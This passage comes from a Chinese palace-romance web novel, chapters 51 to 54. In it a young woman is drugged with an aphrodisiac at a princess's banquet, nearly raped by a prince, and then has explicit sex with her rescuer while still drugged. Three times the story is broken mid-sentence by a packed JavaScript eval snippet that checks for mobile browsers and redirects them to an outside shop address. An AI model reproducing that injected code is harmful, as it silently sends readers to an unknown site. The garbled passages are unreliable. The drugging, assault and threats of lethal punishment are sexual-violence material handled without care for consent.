凉亭里已然传来窃窃私语声,方令仪的脸色越发难看,好在这时候公主派人传话,开宴了,众人这才作罢。 餐食设在正殿,座位按照家世依次排开,男女分坐两侧。 叶冬知被排在最靠后的位置,已经要接近殿门了,天气热,她吃了几口便没了兴趣,她朝对面看去,邬涟坐在男子离公主十分近的地方,除却皇子,之后便是他了。 按理来说,他的家世和官职到不了这个位置,毕竟也有亲王世子,但明眼人都能看出公主的态度,即便不是心悦,想来对邬涟也是有些欣赏和好感的。 她收回目光,在男子席看到了一个熟人—— 安南王世子。 对方喝得满面通红,面色愈发萎靡,一副全然被酒色掏空的样子。 一看到他,叶冬知便想起之前发生的事,顿时没了待在这里的念头,只想着赶紧结束,好早早回府。 宴会进行到一半,她出去透气,回来时,忽然身后有个内侍叫住了她。 “小姐留步!奴婢方才捡到一只东珠耳坠,不知是不是您丢的?” 闻言,她伸手摸了一下,右边耳朵空空如也。 她回头,“是我的,多谢你。” 那内侍恭敬地笑了一下,伸手朝怀里摸去,“那好,奴婢现在就将它还给您。” 叶冬知走近几步,原本低头敛目的内侍在怀里掏了一阵,等她凑近些许,忽然伸手朝她面门一扬,一股白色的粉尘扑面而来,随即她顿时感到一阵头晕目眩,脚步也发虚起来。 还未待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525194|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她反应过来,那内侍掏出一块帕子,捂住她的嘴,将她朝假山后拖去。 * 再次醒来时,她发现自己在一张布满灰尘的榻上。 房屋的建式依旧还是宫内的模样,只不过此处光线昏暗,房屋狭小。 但这不重要,重要的是,她现在明显感觉她的身体有些不对劲。 不仅浑身发烫发软,身上更如有蚁啃噬,难耐不已。小腹处有股幽深的渴望,正一点点蚕食她的理智,让她出了一身虚汗,急切地希望触碰冰凉的东西。 任凭她再迟钝,也意识到自己中了药,而且,还不是一般的药。 叶冬知也顾不得榻上的灰尘,将自己蜷缩在一起,双腿并拢,夹着衣摆缓慢地摩挲着。但这无异于隔靴搔痒,反而让她体内的火更加旺盛。 门口处传来一阵脚步声,她虚着眼,意识恍惚地看过去,只看见了一个宽厚肥胖的身影。 紧接着,身影朝她走了近些,似乎是在欣赏她此时的样子。 片刻后,那身影发出一声龌龊的感叹,“啧啧,长得这般浪,虽平日装得一副冰清玉洁的样,但本世子还是一眼看出你的本性,瞧瞧,这媚骨香一下去,不就原形毕露了吗。” 叶冬知尚且还有几分清醒的意识,顿时反应过来,哑着嗓音咬牙切齿道,“是你!” 安南王世子哼笑两声,朝她脸上摸了一把,“是本世子又怎样,之前在西凤山你欲拒还迎,那时不知是谁竟敢背后暗算我,才让你趁机逃了,这回,可没有人来救你!” 虽心里感到无比恶心,但身体本能的反应居然让她战栗了一下。 她挣扎着退至床角,拔出头上的簪子握在手心,脸上汗如雨下,“你想干什么,这是在德宁公主的宫中!” “哈哈哈哈,你用不着吓唬本世子,德宁此刻只怕忙着和邬涟眉来眼去,哪顾得上你。之前听说你和那邬涟有一腿,想必他应该尝过你的滋味了,正好今日让本世子也尝尝!” 语罢,他一把扯住叶冬知的腰带,微微用力,腰带便顺势滑落,露出里面轻薄的一层内衫,甚至隐约可见肚兜的颜色。 肥胖油腻的身子骤然压在身上,腥臭的口气和酒味混杂在一起,熏得她几欲作呕。身上的人将头埋在她脖颈间,作势要亲她。 可无力的身子和充满异样的身子令她浑身难受,根本无力反抗,她惊惧不已,绝望的眼泪顺着脸侧没入鬓发。 “哗啦”一声巨响,门被人一剑劈开。 安南王世子听到动静愣了一瞬,刹那间被人提住了后颈,像死猪一样从她身上拖下来,然后被人按着脑袋,“砰”地一声撞在了一侧的柱子上。 力道之大,震得柱子上的灰尘“扑簌”往下落。 仅一下,安南王世子就额头开花,鲜血如水一样流进衣领之中,一张脸犹如刚从死人堆里出来,糊满了污物血浆。 这还没完,他的头被人提着,又“砰砰砰”地响了数下,直至安南王世子几乎快没了气息,这人才堪堪作罢。 来人松了手,回过身来,与榻上衣衫凌乱,神情麻木的女子对视。 女子酡红着脸,浑身像浸在了水中,衣衫近乎要被冷汗湿透,她泪眼模糊地用气音低唤了声,“......邬涟。” 52. 第 52 章 只一句。 就让邬涟这几日用冷漠和不在意高高筑起的防线全面崩塌。 这几日他不再向长安过问她的动静,也将越界的殷水玉放了回去,在进宫的马车他未再看她一眼,甚至于在凉亭、在宴席之上,他都做到了不对她的事再多关注一分。 他告诉自己,是她负心在先,他这样对她这般是理所应当的。 除了方才她离席许久未归,他出于责任让人去探查了一番,没想到就出了这样的事。 不敢想,若是他再晚来片刻,往后发生的事,大概会让他懊悔终生。 他俯身用她的衣衫将她裸露的躯体盖住,才刚一触碰到,她的手便如蛇一般攀附了上来,勾住他的脖颈,滚烫炽热,目光迷离地说,“我......我中药了......春药......” 邬涟的身体陡然僵住,“我知道。” 她的手不安分地在他脸上游走,抚过他的眉,又抚过他的眼,最后落在他的唇上。她目光妩媚地看着他,然后急不可耐地支起上半身,去亲他的唇。 他偏头躲过,避开了。 他不想在这样的情境下与她行亲密之事,她说过从没心悦过他,现在的一切,也不过是被药物驱使罢了。 叶冬知的动作落了空,她愈发急切起来。 方才的安南王世子令她恶心,但如果这个人是邬涟的话,也不是不可以。 她急得几乎要哭出来,“我......难受。” 邬涟触及到她眼中毫不掩饰的情欲,喉结滚了滚,压着声音道,“别做错事,否则等清醒之后会后悔。” 但叶冬知此时已然听不清他的话,就连眼睛也有些发红起来。 半晌,他低低叹息一声,从随身带的药瓶中掏出一粒药丸,喂她吃下。 这药能解百毒,可媚药不是毒,估计也只能管个一时半刻,当下唯有先回府,再另想办法了。 果然吃下药后,对方安静了许多,不再攀着他动手动脚,只是依旧难耐地蹭着双腿,口中不断溢出哼哼唧唧的低吟。 他将自己的外衫褪下,将榻上的女子严实包裹起来。 当初安南王世子为了方便行事不被发现,故而选了这处偏僻之地,这也方便了邬涟一路将人送出德宁宫。 只是,途径一处拐角时,德宁公主的声音骤然响起—— “邬大人这是要去哪?方才与本宫说有要事,原来,这便是你说的要事。” 德宁公主带着贴身侍女站在一侧冷眼瞧着,一向端方守礼的邬涟此刻没了外衫,而他的外衫正将一个人紧紧裹着,那人的脸埋在他怀中,看不分明。 刹那,德宁的脸色便不太好看,她好心邀他来她的生辰宴,他不仅中途离席,还撒谎骗她,更不要说此刻居然还在她的宫中衣衫不整。 邬涟顿住了脚步,但怀中的人身体越发滚烫起来,他便知道,那药压不了多久,只怕是又快要发作了。 思及此,他并未向德宁解释,只淡淡说了句,“是邬某的不是,只是今日实有要事,来日再向公主赔罪。” 语罢,也不待德宁说话,便在众目睽睽之下抱着人离开。 德宁的神色沉了下来,身侧婢女为她抱不平,“这也太失礼了,公主就站在这里,他竟然敢无视公主的话。” 另一个也道,“就是,虽然说他得陛下看重,但公主可是陛下最宠爱的女儿,公主是君,他是臣,他安敢?” 德宁盯着那道背影越来越远,忽而抬起了手,身后婢女立马噤声,“传本宫的命令,今日之事谁也不许泄露出去,违者,杖毙。” * 马车在宫门口,长安守在马车前,忽然见邬涟怀里抱着个人,只穿着里面的衣服便上了车,狠狠吓了一跳,顿时瞌睡都醒了。 “回府,记得挑僻静的路走。” 车内传来邬涟的声音,长安岁虽心中有疑惑,但并未过问,只一拉缰绳,马儿一声嘶鸣便“哒哒”跑了起来。 邬涟将叶冬知放在软榻之上,见她双目迷离,在松开衣衫之后,手又不安分地朝他摸了过来。 他敛眸,将她的手轻而易举地挡开。 “......邬涟。”她眼波如水,就这样眼巴巴地瞅着他,在他的目光之下不知羞耻一般双腿交替蹭着。 “坚持一会,过会就能回府,府里有解药。”他语气依旧还算冷静,但耳根却在她直白的目光下越来越红。 之前还在德宁宫中,她尚且还有所收敛,现下到了马车之中,她便无所顾忌,一心只想缓解自己的难受。 她瘪了瘪嘴,压制不住的药性令她忍不住开始呻吟起来,她扭着身体,一边去扯自己的衣裳。 “好热......好烫......” 给她拢好的衣衫在她的大力拉扯下很快就全部散开,内衫也被她一把扯开,在封闭隔音的车厢中,很快,她的上身酒杯扯得只剩下一件鹅黄色的肚兜。 车厢就这么大,邬涟想避也无法避开,他眼皮跳了跳,转开眼去,冷玉的面上染上一抹红,随即逐渐蔓延开来。 他喝了口茶水,试图压下盛夏的燥热。 然而身侧的人发现自己没什么可脱的之后,慢慢挪到了榻边,伸手摸到他腰间的系带。 似乎是太过着急,她摸了半天也没解开,邬涟额头青筋跳了跳,忍无可忍地捉住她的手,音色也冷了些。 “再忍一会就行了,这片刻也等不了吗?” “你既说不曾心悦我,便不要招惹我,免得清醒过后又来后悔。” 叶冬知被阻止了动作,迟缓地去看他,由于意识混乱,愣了许久才反应过来他话里的意思。 不想被她碰...... 这个念头一产生,她便忍不住哭了出来,她现在已经这么难受了,居然不给她碰,之前又不是没碰过。 她难耐的低吟和细细的啜泣交织在一起,几乎是不着寸缕,泛红的眼沁出泪水,湿透的头发和绯红的面颊,这样绮丽、旖旎的画面没有分毫遮掩就在他的悉数展开。 不断冲击着他那薄到可笑的坚守。 他的呼吸随着她的哭泣逐渐急促起来,手上的力道也不由自主放松了些,被她寻到机会,一把扯开了他的衣襟。 随之,娇软湿热的躯体顿时倾身覆了上来。 她一口衔住他的唇,在他唇边舔舐了一番,然后她的舌悄然滑入。 滚烫,裹着她的气息,令他难以自抑,胸膛剧烈地上下起伏,那点坚守几乎马上就要被蚕食殆尽。 他喘.息着,握住她的腰,试图将她从身上扯下来,但接下来发现的事,让他猛然僵住了。 只觉浑身的血液都涌上大脑,然后流向一个难以启齿的地方。 他的衣裳,浸湿了。 这样的触感,在祠堂那晚,他记得很清楚。 邬涟觉得,自己大概也像中了药,要不然怎么他的身体也滚烫起来。 “是邬家哥哥吗?” 车外陡然响起一道声音,嗓音又软又娇。 长安勒停了马,“公子,是阮小姐。” 被称作阮小姐的女子名阮琼华,祖父乃是三朝元老,与邬镇庭乃是忘年交。邬涟幼时,阮琼华便时常带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525195|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着孙女来侯府之中,是以,阮琼华勉强与他能称得上有几分玩伴之情。 邬涟顿了顿,一只手将身上胡作非为的人隔开几分,另一只手将衣襟拢好,才掀了帘子朝外看去。 对面停着一辆马车,虽然素净,但可见车身梁木油润有光,车帘薄而不透,正是千金难求的蛟纱。 一张娇俏天真的脸正从车窗处露出来。 少女脸上有些婴儿肥,眉眼温和,唇边笑起来有酒窝,一份十足的小女儿的情态,她甜甜唤了声,“怀泽哥哥!” “没想到还真是你呢!我之前回了祖宅养病,一养就是多年,最近身子好些了,才随祖父回到京都。” “许久不见,怀泽哥哥越发俊俏了。”说着,她微红了脸,眼眸笑起来弯弯的,令人不自由自主心生好感。 邬涟脸上神色一如既往地冷清,客气应了声,“琼华亦如是。” 叶冬知被缚住了双手,无法再进一步,身体难耐之际,又闻邬涟正与车外的女子攀谈。 那女子一声一声“怀泽哥哥”,叫得好不亲热。 她昏沉地枕在他的一侧肩膀上,缓缓扭动着腰胯,即便隔着衣服,但因衣衫早就湿透,此时恍若无物。 邬涟只觉一股发麻的颤栗从尾椎一路往上,让他头皮都有些发麻,他绷着唇,不动声色将她的手又握紧了些。 “别闹。” 那厢阮琼华倒像是有几分失落,“小时候怀泽哥哥还不叫我‘琼华’,都叫我的乳名,是因为许久不见生疏许多,才不叫了吗?” 还未待邬涟回答,阮琼华身侧突然钻出一个七八岁的稚童,他扒着窗沿看了看,然后指着邬涟大声道:“阿姐!这是不是就是祖父说的,与你有娃娃亲的姐夫?” 话落,阮琼华顿时闹了个大红脸,嗔了稚童一眼,才斥道,“你瞎说什么呢,那都是小时候的玩笑话,作不得数的。” 隔得这么近,邬涟自然听见了,他脸色沉了沉,阮琼华误以为他是因这话有些生气,忙道,“怀泽哥哥别气,这是我阿弟,他年纪小不懂事。” “无妨,我还有事,就不奉陪了。”他沉声。 阮琼华虽还想再说几句,但见对方比小时候要更加冷淡,不好接近,她也只好作罢,唤家仆驾车先行离开。 其实邬涟并非因稚童那句话才变了脸色,而是因为—— 方才身上的人在听完那句话后,忽而在他颈侧咬了一口,微微的疼,更多的是难以言喻的刺激和酥麻。 激得他险些出声。 将车帘放下,周遭又重新恢复寂静,他也松开了自己的手。 叶冬知得了轻松,她用力将他推到,紧接着毫无章法地去吻他,比之前更要急切太多。 此时此刻,邬涟才意识到有些不对劲,若是寻常的媚药,怎的药性会这般猛,他压着嗓子问: “你中的到底是什么药?” 叶冬知眼前已经开始有了点重影,她晃了晃头,才断断续续吐出三个字:“媚......媚骨香。” 邬涟顿时脸色变了。 最烈的媚药,难怪她这般反常,脑子里仿佛只有交合这一件事。 她的手摸进他的衣衫之中,滚烫的手触碰到他的肌肤,所过之处皆呈燎原之势。 他理智尚存,再一次问她,嗓音几乎喑哑到了极致,“你看清楚了我是谁。” 只差临门一脚,可眼前人就是不给她,急得她又有要哭的架势,怒火和情欲交织着,她口齿不清地吐出一句话。 “不愿意的话算了,马上就回府了,我去找殷水玉,想必他会很愿意的。” 53. 第 53 章 车内蓦然陷入了诡异的沉默。 邬涟忽地轻笑了声。 但下一刻,他猛然用力,叶冬知一阵天旋地转之后,发现二人位置已然调转。 她意识模糊盯着面前的人影,看不清他的表情,只看到他眼中沉如黑墨,浑身充斥着令人难以喘.息的压抑。 “呵。” “没良心的。” 此后,叶冬知才真正见识了寡了二十三年的男人,开荤后到底有多可怕。 她累得眼睛勉强还能撑开一条缝,神思随着马车的颤动而七零八落。 长安驾着马车缓缓行驶在小巷之中,暧昧旖旎的声音交替传来,有时是公子的,有时是叶小姐的。 他脸红得几乎要冒出来热气。 公子啊公子,轻点啊,再折腾,怕是马车也要散架了。 到后面,叶冬知什么也无法思考,只觉身体疲惫不堪。 她看着他的发在她眼前不断甩动,无力地推了推他的胸膛,声若蚊蝇,“别.....不要了。” 他顿了顿,但也只停顿了片刻,便愈发狠厉起来。 邬涟垂眸看她几乎要化成一滩水,那样软,那样缠人。视线从她含着春意的眼挪到她的耳垂之上,那里只剩下一颗东珠,在有节律地抖动着。 身下人细弱的声音忽然停了,他看去,才发现人已经晕了过去。 他抽出身来,有些不满地想,这媚骨香,不如传言中厉害,也不过才三次,药效便过了。 * 榻上的人眼皮动了动,艰难睁开眼,看见了头顶上熟悉的房梁。 鼻间缭绕着清浅的檀香,然而身上却酸痛无比,某个地方更是肿胀不堪。 她微微挪了挪腿,便感觉到一阵刺痛。 一旁在桌前处理公务的人见她似乎醒了,悠悠抬眼说,“先躺着吧,大腿内侧破了皮,已经上过药了。” 这会药效早过了,是以,叶冬知的神志也还算清醒,闻言,她愣住了。 “药......是谁给我上的?” 邬涟像是轻飘飘扫了她一眼,“我。” 虽然她知道自己中了药,但当时具体发生了什么,她已经不太记得清了,纵然有心理准备,但听到对方这样毫无波澜地说出来,她还是不可避免地感到一阵羞臊。 她沉默了会,有些尴尬,“我先回去了。” 上次两人还吵得不可开交,说以后桥归桥,路归路,转眼就发生了不可描述之事,更何况,还是她缠着对方不放。 话刚说完,她掀开被子下地,随即腿一软,差点摔在地上,好在邬涟及时伸手将她扶住。 她抬头,一眼便看见邬涟颈间即便遮得严严实实,但依然挡不住的红痕,心虚道:“都是药的问题,不是我想跟你——” “嗯,我知道。”他骤然出声打断了她。 他何尝不知,那时候她都能说出若是他不给,她便去找殷水玉的话来,可见,也并不是非他不可。 她松了口气,“那就好。” 邬涟握在她腰间的手紧了些,面上不动声色,但眸中墨色却沉了些。所以,还当真是一点都不心悦他吗。 他与她至此,她却依然对他无意,世上负心人,当属她为第一人。 身体的不适让叶冬知最终还是乖乖躺了回去,直到下午,敷上的药起了作用,她感觉好了许多,欲再度下床。 双腿松快许多,已经能正常走路,只是行走间仍有些怪异。 邬涟没拦她,只凉凉道,“这么着急回去见他?” 她没听出来他语气中的醋意,点了点头,“从昨日进宫到现在已经两日了,他一向最是黏我,估计昨晚都没睡呢。” 邬涟几乎要气笑了。 “我昨夜也没睡,被你折腾的。” “你担心他未休息,可我今日一大早便还要去上朝,我身上这身痕迹,一路被人指指点点,你想过我吗?” 自知干了错事,叶冬知闷着不吭声了,停在原地心虚地瞟他的脸色。 “我对不住你。” 憋了半天,她生硬地蹦出一句。 这句话非但没让邬涟消气,反而让他那股无处发泄的怒火烧得越发旺盛。 他幽幽道,“若是你不介意被他看出端倪,便尽管回去。” 叶冬知脚步顿在原地。 在屋内又待了会,邬涟便起身出去了,今日他在府中设了宴,要招待才到京都不久的阮老先生。 阮老乃大儒,邬涟幼时曾是他的学生,也因此才与阮琼华相熟一些。 直到傍晚,邬涟带着身淡淡的酒意回了院子。 叶冬知在他房里用了些吃食,又喝了壶凉茶。 但奇怪的是,屋内搁置了许多冰块,她却依然感觉有些燥热。 心中咯噔一声,莫非是媚骨香还没完全解开。 她瞟了眼一侧正襟危坐的人,只觉心头有些蠢蠢欲动。 察觉到她的视线,邬涟批阅卷宗的手没停,“有事?” 她摇头又点头。 他放下笔,走至她跟前,脸色冷淡,语气却关切,“哪里还有不适?” 按理来说她的药应当解了,若真有不舒服,那唯有...... 想着,他的目光朝她腿间看去。 “你看哪里呢!”她脸色微红,有些羞臊地叫了声。 虽是这般情态,可她却觉得那股燥热越来越厉害,与昨日药发作时甚为相似。 他抿唇撇开眼神,又坐了回去。 “怀泽哥哥!怀泽哥哥!” 院外忽然传来女子的叫声。 叶冬知抬头看去,这个声音她有些印象,应当是昨日遇见的那个女子。 随着声音落下,女子的脚步声也越来越近,但到门前,陡然停住了。 长安拦在门外,“阮小姐不是方才随阮老先生已经回府了吗,怎的又回来了?” 阮琼华咬了咬唇,“我来侯府之前带了一些东西,想亲自交给怀泽哥哥,只是此前忘在了马车上,刚刚才取回来。” 闻声,邬涟抬手搭在了门栓上,准备开门,却被身后的人阻止。 他回头,见她红着脸,眼神有些飘忽,口中嗫嚅道,“我好像......好像又发作了。” “怎会?”他皱眉,“那药应当是一次就能解开的。” “我难受。”她盯着他又补了句,眼神无辜。 他只觉白日闷在胸口的那团气又回来了,“怎的,现在想起我了?不急着回去找你的阿玉了?” “你就在这里,更方便。”她老实说出了自己心里真实的想法。 邬涟自喉间溢出一声冷哼,“昨日事发突然只能如此,今日你还想将我当做你解药的物什?” 他目光冷下来,“你想都别想,我之前说过,你我再不相干,君子一言驷马难追。” 外面阮琼华半天没等到开门,有些急了,声音也委屈了,“怀泽哥哥,我这般来找你,是否有些突然,让你感觉到冒犯。” “不过你不用多虑,我只是带了些祖地那边的小玩意,想着京都没有,拿来给你平时解闷。” 眼见对方要开门,叶冬知被他的话激得心里也有了火气,忍不住在心间冷哼。 装什么,若真是驷马难追,昨日就该不救她,做什么巴巴地来救她。 都说救人救到底,送佛送到西,哪有解了一半不管的道理。 有了之前的经验,她直接伸手朝他怀里一摸,本想摸摸他手感不错的胸肌,但她的手却碰触到一个冰凉丝滑的东西。 邬涟脸色一变,想伸手制止她,却没有她动作快。 叶冬知扯出来一看,鹅黄色的料子,上面绣着海棠花,这眼熟的不能再眼熟的料子和花样,令她当即便明白了。 想着,她挑眉笑了声,“哟,是谁说的不再相干,那这是什么?” 邬涟索性闭了嘴。 偏她还凑上来,拿着帕子在他眼前晃,明知故问,“你留着我的帕子做什么?” “睹物思人?” 邬涟没理会,耳垂浮起一抹可疑的红晕。 她又继续说,“不会是还拿来做了其他什么吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525196|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我摸着怎么刺绣比以前平了。” 一只手伸到她面前将帕子扯走,他脸上也染上了红,嘴上却说,“胡思乱想什么。” 叶冬知瞧着他,回到了刚才的话题,“那你还给我解药吗?” 他扫了她一眼,“仅此一次。” 她“哦”了声,一手拽住他的腰带将他往榻上拖去。 外面阮琼华久等不见人来开门,便朝长安道,“劳烦你进去看看,怀泽哥哥他是否是出什么事了?” 长安不动声色想,哪是出事了,里头叶小姐还没出来呢,公子乍一开荤,怕是没心思搭理这阮小姐了。 想着,长安一脸难为情,“阮小姐,公子近日一直忙着朝中的事,方才送别阮老便又回来处理公务,想必这会大概是睡着了,要不,东西您先给我,等公子醒了,我再转交?” 阮琼华抱着箱子的手紧了紧,这里头不光有她搜罗的小玩意,还有......她亲手写的书信。 半晌,她将箱子递到长安手上,郑重道,“那就劳烦了。” 长安收下箱子,依稀听见里面有些异样的动静传来,不过阮琼华不会武,自是没有察觉。 人走后,叶冬知又被折腾出了一身汗,她有气无力掀着眼皮看他,“我药效过了,你下去吧。” 邬涟却没动。 二人长发散落在彼此肌肤之间,他伸手撩了撩,以便让他能看得更清楚些。 闻言,他淡声,“你身上还烫着,这药若是不祛除干净,岂不是又赖着我为你解药。” 言罢,他握着她的腰,用力让她整个人趴着。 叶冬知眉心跳了跳,有些无语,“药效过没过你感觉不到吗?你少口是心——唔......” 更多的话她没机会说出来,都转为零碎的哼吟破碎地落在榻间。 等到药终于完全被“解开”,已经是第三日了。 她下榻,只觉腰酸得厉害。 屋内飘来一阵饭菜的香味,她慢悠悠走到外间,见厅内的桌上摆着早膳,都是些清淡开胃的小菜。 见她醒了,邬涟说,“先用膳吧。” 连着两日劳累,对方的状态和她完全不一样。 叶冬知感觉自己仿佛被榨干,身虚腿软,两眼发颤,可坐在桌边的男人却面色红润,眉间舒展,看起来心情倒是很不错。 刚喝上两口粥,便听院外传来一声焦急的呼喊: “贵女!” 叶冬知放下碗,猛地站起身朝外走去。 对了,她差点把殷水玉给忘了! 邬涟余光看她的动作,不悦地敛了敛眸。 那样子,像是片刻也等不了似的。 院门口。 殷水玉一路小跑进来,身后跟着气喘吁吁的长安。 长安没想到,这少年看着羸弱,怎的跑得如此之快,不过学了几天功夫,身法也极为灵活,他本想拦住他,但又害怕伤到他惹了叶小姐不高兴。 叶小姐不高兴,公子便不高兴,思索间,一个没注意,居然没将他拦住,让他从外院径直跑向了内院。 殷水玉从前日便听说贵女在公主宫中出了事,至今没有一点消息,这几日他都茶饭不思,直到今日他无意间听人说漏了嘴,原来贵女当日便回来了,待在大公子这里,他当即赶了来,想确认贵女是否平安无事。 他抬头看去,见贵女朝他走来,与平日并无区别,他高高吊起的一颗心才放下来。他慌忙朝前跑去,不忍她多走一步路。 情绪激动之余,殷水玉一时顾不得身份,将面前的少女紧紧搂进怀中,仿佛要切切实实地体会到她,他飘泊无依的心才有归处。 这一幕让长安惊呆了,他下意识回头去看屋内,果然,公子的脸色已经不能用难看二字形容。 邬涟站在屋檐下,冷眼睨着相拥的二人,明明是烈阳天,但长安却忽然觉得周遭气氛顿时冷凝,公子的食指无意识敲着袖口。 长安很熟悉,公子发怒前便会有这征兆,他又侧目去看毫不知情的二人,忍不住叹口气。 自求多福吧。 54. 第 54 章 “松手。” 一句冷沉、带着警告的话陡然在院内响起。 叶冬知慌忙抬眼,扭头去看邬涟的神色,阴沉沉的,犹如暴雨前的天色。 然而殷水玉搂着她,身体微微颤抖,仿佛还沉浸在重逢的喜悦之中,丝毫没有听见。 邬涟瞧着,眉头压得更狠,语气逐渐阴狠起来,“不松手,那便砍了吧。” 长安得了命令,伸手往腰间的佩剑摸去。 叶冬知扫到长安的动作,使劲将眼前人狠狠推开。 “长安!别动他,他只是担心我来看看我。” 殷水玉迷蒙地看着她,眼尾尤挂着泪珠,但眼前怪异的氛围很快让他明白过来。 他一把将叶冬知拉到身后,防备地看着檐下的青年。 邬涟的视线越过少年,落到她的脸上,见她只是望着他,眼里有惊惧和不安,但唯独没有他想看到的愧疚和知错。 他隔着一段距离对她道,“过来,早膳还没用完。” 可偏偏那少年也道,“贵女,我日日都等着您回来,早膳我也做好了,有您爱吃的腌萝卜和桂花蒸糕。” 一副丝毫不肯退让的样子。 真是有骨气,无权无势,居然也敢与他对峙。明明除了那张脸什么都没有,但她现在却更偏爱他一些。 昨日她还与他是最亲密的,现下就全变了。 一想到这些,邬涟只觉心中有把火,灼得他烦躁不已。 他走下阶梯,一直走到两人面前,忽然在这瞬间不想做正人君子,于是,他说: “伤还没好,药说不定也没解完,你便要跟他回去了吗?” 闻言,殷水玉脸上顿时布满担心,连忙问她,“贵女,您伤在哪里?还有您中了什么药,我现在学了一些医理,我可以试着为您解药。” 叶冬知哪能不知道他在说什么,当即脸臊了起来,只好敷衍殷水玉,想快点将这个话题揭过去,“没什么,现在都已经好了。” “贵女,不要瞒着我,我很担心您的身体。”少年眼神诚挚,越发让她心虚。 叶冬知避开他的视线,强颜欢笑两声,“放心,我真的没事了。” 见她不愿多说,殷水玉也没再追问,而是发现了她的耳坠只剩下左边一个。 她摸了摸耳垂,解释,“我也不知道什么时候掉了,挺可惜的。” 少年没有丝毫责怪她的意思,只道,“没关系的,我会多赚些钱为贵女买更多、更好的首饰。” 邬涟冷眼看着两人在他面前旁若无人地调情,明白过来后,忽而冷笑一声。 这几日这个耳坠就在他眼皮下不断轻颤,起初他以为是她自己买的,却没想到出自殷水玉的手。 一想到他与她的亲热都伴着这个耳坠,他只觉恶心又碍眼。 他伸手想越过殷水玉将这个东珠耳坠扯掉,却被殷水玉将手挡了回去。 这个不及弱冠的少年,毫不畏惧地直视着他。 倘若方才还有理智,那么现在,邬涟觉得自己大概没有了。 她待他总是若即若离,要么便是恶语相向,甚至将他当做用过便可以随时抛弃的解药。 她能如此对他,都怪他平时对她太过纵容,导致她即便玩弄他的身心,也不用担心会付出任何代价。所以,她才一点都不珍惜。 既如此,他也没必要守着没用的规矩和礼仪,反正,不是早就被她一一打破了吗。 他几乎是毫不费力就制住了少年,然后唤来长安将人擒住,随即当着殷水玉的面,想要从她耳垂上取下那枚耳坠。 叶冬知盯着他,“你干什么!?” 他绷紧了唇,极致的怒意已在爆发的边缘,不由分说单手握住她两只手,然后取下了耳坠。 随即,他当着两人的面,将其攥在手心用力碾碎。 片刻后,他张开手,那颗圆润的东珠早已化为乌有,只剩下一串粉末随风落在地上。 殷水玉的脸色变了。 “你倾尽全力、费尽心思买来的东西,在我这里不过如瓦砾草芥,这样的东西根本配不上她。” “你要多久才能给她买这一幅耳坠?一月?三月?或者更久?” “这样的东西我有整整一个库房,可以随便她挑选,比这珍贵千倍、万倍的东西于我而言也不过唾手可得。” “我所拥有的一切,能给她的一切,你此生都无法企及。” 一句句话砸得殷水玉摇摇欲坠,脸上血色如退潮般急速褪去。 然而,邬涟却并没有停,“前几日她在宫中遇险,以你的身份、地位能为她做什么?” “你什么都做不了不是吗?若是我这院子多些护卫,你根本连站在这里见到她的资格都没有。” 少年几乎站立不稳,瞳孔剧烈颤动,浑身仿佛失去了力气一般往后倾倒。 叶冬知扶住他,怒道,“够了!你明明知道他只是个普通人,你何必说这些羞辱他!” 就连长安在一旁都震惊无比,这么多年了,他从来没有见过公子如此失态,也没有见过公子用身份来压人,甚至于还如此咄咄逼人。 邬涟嗤了声,“我只是让他认清自己,不要肖想不该肖想的。” 高高在上的态度再度刺到叶冬知,她垂眼看着失神的少年,只觉愧疚难当,她本就在利用他,如今又因她遭到羞辱。 她忍不住道,“他身份低微,那你便是心思肮脏,你口口声声将你义父挂在嘴上,那此刻,你心里可有你义父半分?” “你的教养和规矩又去了哪里?” 等她说完,邬涟的快意顿时消失殆尽,他脸色再度沉了下来,咬牙:“我的规矩是因谁没的,如何没的,你最清楚不过。” 眼见她对他的话充耳不闻,甚至还扶着殷水玉往外走,他额边跳得压也压不住,“你去哪?” 没等到她的回答,邬涟觉得此刻什么也思考不了,他觉得自己快被她的反复无常折磨疯了。 浑身的血液都在叫嚣着要将她拆吃入腹,他真的,片刻也忍不了。 什么脸面,什么礼教,他统统都不要了。 他三步并两步将她拦腰抱起,察觉到她的挣扎,他极轻极轻地笑了声。 “再动的话,我便杖毙他,擅闯主子的住处,依照奴律,本就该死。” 叶冬知不敢再动。 “贵女!贵女!我不怕死,你放开她!”回过神来的殷水玉想伸手将她拉回来,却被长安一脚踹在了心窝处,登时疼得直不起腰来。 “别动他!” 她在他怀里猛然尖叫一声,引得邬涟凉凉垂眸,他对长安道,“将他押下去,什么时候叶小姐知错了,再将人放出来。” 回了屋之后,她坐在凳子上,沉着脸问,“你把他关在哪里?要如何罚他?” 